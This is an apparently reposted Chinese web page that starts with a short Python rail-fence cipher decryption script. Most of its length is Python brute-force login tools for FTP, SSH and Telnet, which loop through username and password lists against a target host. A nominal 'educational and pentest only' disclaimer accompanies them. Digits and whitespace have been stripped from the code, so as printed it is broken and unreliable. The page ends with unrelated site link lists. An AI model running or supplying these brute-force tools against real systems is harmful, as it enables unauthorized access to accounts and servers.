位置: IT常识 - 正文

Python脚本多种方法破解栅栏密码(python脚本例子)

编辑:rootadmin

推荐整理分享Python脚本多种方法破解栅栏密码(python脚本例子),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:python脚本怎么用,python编写脚本方法,python运行多个脚本,python 常用脚本,python运行多个脚本,python运行多个脚本,python编写脚本方法,python运行多个脚本,内容如对您有帮助,希望把文章链接给更多的朋友!

Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、大型项目的开发。

Python脚本多种方法破解栅栏密码(python脚本例子)

Python脚本简单易用,对于要破解的栅栏密码,最简单的可以使用快速编写的Python脚本进行暴力破解:

通用脚本:

#!/usr/bin/envpython#-*-coding:gbk-*-#-*-coding:utf_-*-e=raw_input(‘请输入要解密的字符串\n‘)elen=len(e)field=[]foriinrange(,elen):if(elen%i==):field.append(i)forfinfield:b=elen/fresult={x:‘‘forxinrange(b)}foriinrange(elen):a=i%b;result.update({a:result[a]+e[i]})d=‘‘foriinrange(b):d=d+result[i]print‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为:‘+d

FTP暴力破解脚本

#!/usr/bin/envpython#-*-coding=utf--*-#author:@xfk#blog:@blog.sina.com.cn/kaiyongdeng#date:@--importsys,os,timefromftplibimportFTPdocs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ftp_bf.py[*]Coder:[*]Version:.[*]eampleofuse:pythonftp_bf.py-tftp.server.com-uusernames.txt-ppasswords.txt"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ftp_bf.pyv..|"print"|FTPBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.strftime("%X")printdocs+ENDdefhelp():printR+"[*]-t,--targetip/hostname<>Ourtarget"print"[*]-u,--usernamelistusernamelist<>usernamelistpath"print"[*]-p,--passwordlistpasswordlist<>passwordlistpath"print"[*]-h,--helphelp<>printthishelp"print"[*]Example:pythonftp_bf-tftp.server.com-uusername.txt-ppasswords.txt"+ENDsys.exit()defbf_login(hostname,username,password):#sys.stdout.write("\r[!]Checking:%s"%(p))#sys.stdout.flush()try:ftp=FTP(hostname)ftp.login(hostname,username,password)ftp.retrlines('list')ftp.quit()printY+"\n[!]wt,wt!!!Wedidit!"print"[+]Target:",hostname,""print"[+]User:",username,""print"[+]Password:",password,""+ENDreturn#sys.exit()exceptException,e:passexceptKeyboardInterrupt:printR+"\n[-]Exiting...\n"+ENDsys.exit()defanon_login(hostname):try:printG+"\n[!]Checkingforanonymouslogin.\n"+ENDftp=FTP(hostname)ftp.login()ftp.retrlines('LIST')printY+"\n[!]wt,wt!!!Anonymousloginsuccessfuly!\n"+ENDftp.quit()exceptException,e:printR+"\n[-]Anonymousloginfailed...\n"+ENDpassdefmain():logo()try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--usernamelist':usernamelist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-p'orarg.lower()=='--passwordlist':passwordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"[!]BruteForcingtarget..."+ENDanon_login(hostname)#print"hereisok"#printhostnametry:usernames=open(usernamelist,"r")user=usernames.readlines()count=whilecount<len(user):user[count]=user[count].strip()count+=except:printR+"\n[-]Cheakyourusernamelistpath\n"+ENDsys.exit()#print"hereisok",usernamelist,passwordlisttry:passwords=open(passwordlist,"r")pwd=passwords.readlines()count=whilecount<len(pwd):pwd[count]=pwd[count].strip()count+=except:printR+"\n[-]Checkyourpasswordlistpath\n"+ENDsys.exit()printG+"\n[+]Loaded:",len(user),"usernames"print"\n[+]Loaded:",len(pwd),"passwords"print"[+]Target:",hostnameprint"[+]Guessing...\n"+ENDforuinuser:forpinpwd:result=bf_login(hostname,u.replace("\n",""),p.replace("\n",""))ifresult!=:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+R+"Disenable"+ENDelse:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+Y+"Enable"+ENDifnotresult:printR+"\n[-]Thereisnousernameanspasswordenabledinthelist."print"[-]Exiting...\n"+ENDif__name__=="__main__":main()

SSH暴力破解

#!/usr/bin/envpython#-*-coding=UTF--*-#author@:dengyongkai#blog@:blog.sina.com.cn/kaiyongdengimportsysimportosimporttime#fromthreadingimportThreadtry:fromparamikoimportSSHClientfromparamikoimportAutoAddPolicyexceptImportError:printG+'''Youneedparamikomodule.http://www.lag.net/paramiko/Debian/Ubuntu:sudoapt-getinstallaptitude:sudoaptitudeinstallpython-paramiko\n'''+ENDsys.exit()docs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ssh_bf.py[*]Author:xfk[*]Version:v..[*]Exampleofuse:pythonssh_bf.py[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ssh_bf.pyv..|"print"|SSHBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.ctime()printdocs+ENDdefhelp():printY+"[*]-H--hostname/ip<>thetargethostnameoripaddress"print"[*]-P--port<>thesshserviceport(defaultis)"print"[*]-U--usernamelist<>usernameslistfile"print"[*]-P--passwordlist<>passwordslistfile"print"[*]-H--help<>showhelpinformation"print"[*]Usage:python%s[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"+ENDsys.exit()defBruteForce(hostname,port,username,password):'''CreateSSHconnectiontotarget'''ssh=SSHClient()ssh.set_missing_host_key_policy(AutoAddPolicy())try:ssh.connect(hostname,port,username,password,pkey=None,timeout=None,allow_agent=False,look_for_keys=False)status='ok'ssh.close()exceptException,e:status='error'passreturnstatusdefmakelist(file):'''Makeusernamesandpasswordslists'''items=[]try:fd=open(file,'r')exceptIOError:printR+'unabletoreadfile\'%s\''%file+ENDpassexceptException,e:printR+'unknownerror'+ENDpassforlineinfd.readlines():item=line.replace('\n','').replace('\r','')items.append(item)fd.close()returnitemsdefmain():logo()#print"hellowold"try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=str(sys.argv[int(sys.argv[:].index(arg))+])ifarg.lower()=='-p'orarg.lower()=='--port':port=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--userlist':userlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-w'orarg.lower()=='--wordlist':wordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"\n[!]BruteForcingtarget...\n"+END#print"hereisok"#printhostname,port,wordlist,userlistusernamelist=makelist(userlist)passwordlist=makelist(wordlist)printY+"[*]SSHBruteForcePraparing."print"[*]%suser(s)loaded."%str(len(usernamelist))print"[*]%spassword(s)loaded."%str(len(passwordlist))print"[*]BruteForceIsStarting......."+ENDtry:forusernameinusernamelist:forpasswordinpasswordlist:printG+"\n[+]Attemptuaername:%spassword:%s..."%(username,password)+ENDcurrent=BruteForce(hostname,port,username,password)ifcurrent=='error':printR+"[-]O*OTheusername:%sandpassword:%sIsDisenbabled...\n"%(username,password)+END#passelse:printG+"\n[+]^-^HaHa,WeGotIt!!!"print"[+]username:%s"%usernameprint"[+]password:%s\n"%password+END#sys.exit()except:printR+"\n[-]ThereIsSomethingWrong,PleaceCheakIt."print"[-]Exitting.....\n"+ENDraiseprintY+"[+]Done.^-^\n"+ENDsys.exit()if__name__=="__main__":main()#!usr/bin/python#TelnetBruteForcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimportthreading,time,random,sys,telnetlibfromcopyimportcopyiflen(sys.argv)!=:print"Usage:./telnetbrute.py<server><userlist><wordlist>"sys.exit()try:users=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyouruserlistpath\n"sys.exit()try:words=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyourwordlistpath\n"sys.exit()print"\n\tdhydr[at]gmail[dot]comTelnetBruteForcerv."print"\t--------------------------------------------------\n"print"[+]Server:",sys.argv[]print"[+]UsersLoaded:",len(users)print"[+]WordsLoaded:",len(words),"\n"wordlist=copy(words)defreloader():forwordinwordlist:words.append(word)defgetword():lock=threading.Lock()lock.acquire()iflen(words)!=:value=random.sample(words,)words.remove(value[])else:print"\nReloadingWordlist-ChangingUser\n"reloader()value=random.sample(words,)users.remove(users[])lock.release()iflen(users)==:returnvalue[][:-],users[]else:returnvalue[][:-],users[][:-]classWorker(threading.Thread):defrun(self):value,user=getword()try:print"-"*print"User:",user,"Password:",valuetn=telnetlib.Telnet(sys.argv[])tn.read_until("login:")tn.write(user+"\n")ifpassword:tn.read_until("Password:")tn.write(value+"\n")tn.write("ls\n")tn.write("exit\n")printtn.read_all()print"\t\nLoginsuccessful:",value,usertn.close()work.join()sys.exit()except:passforIinrange(len(words)*len(users)):work=Worker()work.start()time.sleep()</wordlist></userlist></server>
本文链接地址:https://www.jiuchutong.com/zhishi/303165.html 转载请保留说明!

上一篇:CMS技巧:广告延迟加载让网站速度更快(广告系统源码)

下一篇:WordPress网站一键接入微信登录(wordpress all in one)

  • 预收账款什么时候确认收入
  • 外部审计内容是什么
  • 个税返还手续费奖励员工账务处理
  • 公司视频宣传制作方案
  • 税费四舍五入的怎么做帐
  • 资产处置损益是营业外收入吗
  • 旅游公司如何缴费
  • 税盘减免主表不显示减免怎么填
  • 申报个税是按照当月工资,做账时候发的是上月工资
  • 增值税附加税由买方承担如何计算
  • 记载资金的账簿要交印花税吗
  • 材料加工计入什么科目
  • 分支机构企业所得税计提和缴纳数额不一致怎么办?
  • 修理费的定额发票还可以报销吗?
  • 职工伙食团食谱
  • 工业企业水电费需要计提吗
  • 电信话费可以开公司发票吗
  • 自然人代人开普票合法吗
  • 自然人股东转让股权如何避税
  • 13个点的发票实际交多少钱
  • 母子公司可以汇资金吗
  • 生产企业土地使用权摊销
  • 商业银行流动性覆盖率的最低监管标准为
  • 小规模纳税人免税额度是多少
  • 金融会计风险及防范措施研究目的和意义
  • 联想笔记本e49系列哪款好
  • 苹果键盘快捷键怎么用
  • 进项税额转出如何做账分录
  • linux怎么查找
  • 网速不稳定的解决方法
  • 公司撤股需走什么程序
  • thinkphp5自定义标签
  • 未取得合法有效凭证可以税前扣除
  • 个人借款的合法利息是多少
  • Yii1.1中通过Sql查询进行的分页操作方法
  • js函数怎么调用
  • 销售费用计提分录
  • 公司pos机使用规范
  • 房屋扩建后折旧费怎么算
  • 生产成本中制造费用中包括哪些?
  • sql查询结果分页
  • 职工薪酬包括哪几类
  • mysql 忘记密码重置密码
  • 长期待摊费用在注会哪一章
  • 物业 收电费
  • 将原材料出售会计分录
  • 全资子公司可以转让吗
  • 免抵税额下个月还能退吗
  • 房地产企业的会计核算
  • 三栏式明细账适用于总分类账
  • 出口免税项目
  • 支付厂房租赁费现金流
  • 付给非公司员工提成税务处理
  • 去年的进项发票今年怎么入账
  • 承兑汇票怎么拿钱
  • Windows下安装爱思助手V8
  • mysql第二章
  • mysql8高可用
  • mysql在mac上的安装教程
  • 详述目标成本法的内容和步骤
  • linux命令find用法
  • linux AS3 oracle9i 安装指南
  • dropbox怎么在国内使用
  • win7设备管理器里面没有网络适配器
  • linux如何使用u盘
  • HTML:scrollLeft,scrollWidth,clientWidth,offsetWidth完全详解
  • perl语句
  • 只有一行的矩阵的逆矩阵
  • dos命令 /b
  • js对象常用方法
  • shader入门
  • 运行node.js的应用程序服务器
  • Python的flask框架教程
  • shell脚本 su
  • 让图片跳跃起来怎么弄
  • python 时间戳与格式化时间的转化实现代码
  • SublimeText自带格式化代码功能之reindent
  • python中的description
  • 风力发电税收优势分析
  • 张家港港区国税局地址
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设